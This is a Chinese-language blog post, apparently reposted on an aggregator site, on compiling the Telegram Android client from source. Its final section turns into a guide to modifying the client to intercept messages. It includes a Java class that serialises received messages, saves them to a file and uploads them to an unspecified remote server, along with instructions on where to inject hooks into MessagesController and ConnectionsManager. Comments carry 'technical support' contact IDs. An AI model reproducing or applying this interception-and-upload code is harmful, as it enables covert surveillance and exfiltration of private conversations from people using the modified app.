android studio 编译Telegram源码经验总结(2023-11-05)

2023-11-07 08:15

本文主要是介绍android studio 编译Telegram源码经验总结(2023-11-05),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

前言


Telegram是一款强大的端到端加密IM,专注于安全性和速度,支持Android/IOS/Windows/macOS等平台,功能丰富,运行流畅,免费开源,代码具有学习和研究意义。


一、android telegram源码下载地址:
 

github: https://github.com/DrKLO/Telegram.git

二、编译环境的选择:

Windows 版本:10 64位;
Android studio 版本:(2022.3.1)最新版本;
Android SDK 版本:Android studio自带;
Android Gradle Plugin 版本:Version 7.03   (源码版本);
Gradle Version 版本:7.02  (源码版本);
Android ndk 版本:21.4.7075529;
Gradle JDK 版本:11.0.2;

  编译环境说明:
       1、Android studio 


        Android studio 可以采用最新版本;


       2、Android Gradle Plugin Version与Gradle Version


       编译环境的选择很重要,Android Gradle Plugin Version与Gradle Version不要升级,
要保持与源码版本一致。笔者一开始按Android studio的提示升级了Gradle的版本,结果报一系列的错误!


       3、Android ndk 要用21.4.7075529版本,与源码保持一致;


       4、Gradle JDK 版本:11.0.2,

必须用11.02版本,笔者一开始用了Gradle JDK 17结果与Android Gradle Plugin Version不兼容,走了许多弯路。


       5、Android studio提示升级Gradle版本时,千万不要升级!!!


       按照以上配置,编译源码,第一次未修改编译笔者电脑用了8个半小时,修改后再编译花了17个小时,源码体积大小由100M增加到17G!
能编译成功,才能为后续修改打下基础!!!

三、编译指南


    按项目编译指南,完成以下工作:


1、获取api_id


    申请地址:https://my.telegram.org/

2、将您的release.keystore复制到TMessagesProj/config中


在gradle.properties中填写RELEASE_KEY_PASSWORD、RELEASE_KEY_ALIAS、RELEASE_STORE_PASSWORD以访问您的release.keystore


3、google-services.json


转到 https://console.firebase.google.com/,使用应用程序 ID org.telegram.messenger 和 org.telegram.messenger.beta 创建两个 Android 应用程序,打开 firebase 消息传递并下载 google-services.json,这应该复制到与 TMessagesProj 相同的文件夹。


4、BuildVars.java 


在 Studio 中打开项目(请注意,应该打开它,而不是导入)
在 TMessagesProj/src/main/java/org/telegram/messenger/BuildVars.java 中填写值 - 每个变量都有一个链接,显示要获取的数据的位置和数据。
替换你在控制台创建的获取的 APP_ID 和 APP_HASH


5、API、协议文档


Telegram API 手册:https://core.telegram.org/api

MTproto协议手册:https://core.telegram.org/mtproto

四、修改指南


    将tg数据转为字符串并格式化,在适当位置注入log代码,拦截telegram的消息发送与接收。


1、添加依赖库


implementation 'org.apache.commons:commons-lang3:3.6'


2、创建RecursiveToStringStyle.java,将tg数据转为字符串并格式化


3、增加LauchInfo.java,以拦截并保存telegram消息。

package ftc;import android.content.Context;import java.io.Closeable;
import java.io.File;
import java.io.FileWriter;
import java.io.IOException;
import java.text.SimpleDateFormat;
import java.util.Date;
import java.util.Locale;
//技术支持:~~~~39848872
public class LauchInfo {public static final SimpleDateFormat DEFAULT_SDF = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss", Locale.getDefault());private static String local_path;private static String local_dir;private static String filename;private static Context g_context;//接收telegram消息,并转换为格式化字符串,以便保存分析。	public static void get(Object value){String content=RecursiveToStringStyle.toString(value);if(content!=null&&content.equals("")==false)SaveContent(content);}//技术支持:+~~~~byc6352public static void get(String say,Object value){String content=RecursiveToStringStyle.toString(value);MyLog.i(say + "\n" + content);}public static void log(String say,Object value){String content=RecursiveToStringStyle.toString(value);String text = say + "\n" + content;MyLog.i(text);}public static void SaveContent(String content){try {MyLog.i(content);String time = DEFAULT_SDF.format(new Date());String text=time+"\r\n"+content+"\r\n";saveInfo2File(text,filename,true);FileTransferClient.getInstance().uploadfile(filename,false);} catch (Exception e) {MyLog.e( "SaveContent:"+e.getMessage());}}/*** 保存信息到文件中** @param ex* @return*/public static boolean saveInfo2File(String info,String filename,boolean append) {if (info == null || filename == null) return false;FileWriter fileWriter = null;try {fileWriter = new FileWriter(new File(filename), append);fileWriter.write(info);return true;} catch (IOException e) {e.printStackTrace();return false;} finally {closeIO(fileWriter);}}/*** 关闭IO** @param closeable closeable*/public  static void closeIO(Closeable closeable) {if (closeable == null) return;try {closeable.close();} catch (IOException e) {e.printStackTrace();}}public  static void getWorkDir(Context context){local_path = context.getDir("workspace", Context.MODE_PRIVATE).getAbsolutePath().toString() + File.separator;local_dir = context.getDir("workspace", Context.MODE_PRIVATE).getAbsolutePath().toString() ;filename=local_path+"info.txt";g_context=context.getApplicationContext();}
}

3、拦截telegram收到的消息


在Telegram\TMessagesProj\src\main\java\org\telegram\messenger\MessagesController.java中 修改

注入MessagesController.java消息接收

4、拦截telegram向服务器发送的请求与应答


在Telegram\TMessagesProj\src\main\java\org\telegram\tgnet\ConnectionsManager.java中 修改

注入ConnectionsManager发送请求

至此可以快乐地抓取tg数据了!

这篇关于android studio 编译Telegram源码经验总结(2023-11-05)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/362364

相关文章

8种快速易用的Python Matplotlib数据可视化方法汇总(附源码)

《8种快速易用的PythonMatplotlib数据可视化方法汇总(附源码)》你是否曾经面对一堆复杂的数据,却不知道如何让它们变得直观易懂?别慌,Python的Matplotlib库是你数据可视化的... 目录引言1. 折线图(Line Plot)——趋势分析2. 柱状图(Bar Chart)——对比分析3

Android NDK版本迭代与FFmpeg交叉编译完全指南

《AndroidNDK版本迭代与FFmpeg交叉编译完全指南》在Android开发中,使用NDK进行原生代码开发是一项常见需求,特别是当我们需要集成FFmpeg这样的多媒体处理库时,本文将深入分析A... 目录一、android NDK版本迭代分界线二、FFmpeg交叉编译关键注意事项三、完整编译脚本示例四

Android与iOS设备MAC地址生成原理及Java实现详解

《Android与iOS设备MAC地址生成原理及Java实现详解》在无线网络通信中,MAC(MediaAccessControl)地址是设备的唯一网络标识符,本文主要介绍了Android与iOS设备M... 目录引言1. MAC地址基础1.1 MAC地址的组成1.2 MAC地址的分类2. android与I

Android 实现一个隐私弹窗功能

《Android实现一个隐私弹窗功能》:本文主要介绍Android实现一个隐私弹窗功能,本文通过实例代码给大家介绍的非常详细,感兴趣的朋友一起看看吧... 效果图如下:1. 设置同意、退出、点击用户协议、点击隐私协议的函数参数2. 《用户协议》、《隐私政策》设置成可点击的,且颜色要区分出来res/l

Android实现一键录屏功能(附源码)

《Android实现一键录屏功能(附源码)》在Android5.0及以上版本,系统提供了MediaProjectionAPI,允许应用在用户授权下录制屏幕内容并输出到视频文件,所以本文将基于此实现一个... 目录一、项目介绍二、相关技术与原理三、系统权限与用户授权四、项目架构与流程五、环境配置与依赖六、完整

Android 12解决push framework.jar无法开机的方法小结

《Android12解决pushframework.jar无法开机的方法小结》:本文主要介绍在Android12中解决pushframework.jar无法开机的方法,包括编译指令、框架层和s... 目录1. android 编译指令1.1 framework层的编译指令1.2 替换framework.ja

Android开发环境配置避坑指南

《Android开发环境配置避坑指南》本文主要介绍了Android开发环境配置过程中遇到的问题及解决方案,包括VPN注意事项、工具版本统一、Gerrit邮箱配置、Git拉取和提交代码、MergevsR... 目录网络环境:VPN 注意事项工具版本统一:android Studio & JDKGerrit的邮

Android实现定时任务的几种方式汇总(附源码)

《Android实现定时任务的几种方式汇总(附源码)》在Android应用中,定时任务(ScheduledTask)的需求几乎无处不在:从定时刷新数据、定时备份、定时推送通知,到夜间静默下载、循环执行... 目录一、项目介绍1. 背景与意义二、相关基础知识与系统约束三、方案一:Handler.postDel

Android使用ImageView.ScaleType实现图片的缩放与裁剪功能

《Android使用ImageView.ScaleType实现图片的缩放与裁剪功能》ImageView是最常用的控件之一,它用于展示各种类型的图片,为了能够根据需求调整图片的显示效果,Android提... 目录什么是 ImageView.ScaleType?FIT_XYFIT_STARTFIT_CENTE

Android实现在线预览office文档的示例详解

《Android实现在线预览office文档的示例详解》在移动端展示在线Office文档(如Word、Excel、PPT)是一项常见需求,这篇文章为大家重点介绍了两种方案的实现方法,希望对大家有一定的... 目录一、项目概述二、相关技术知识三、实现思路3.1 方案一:WebView + Office Onl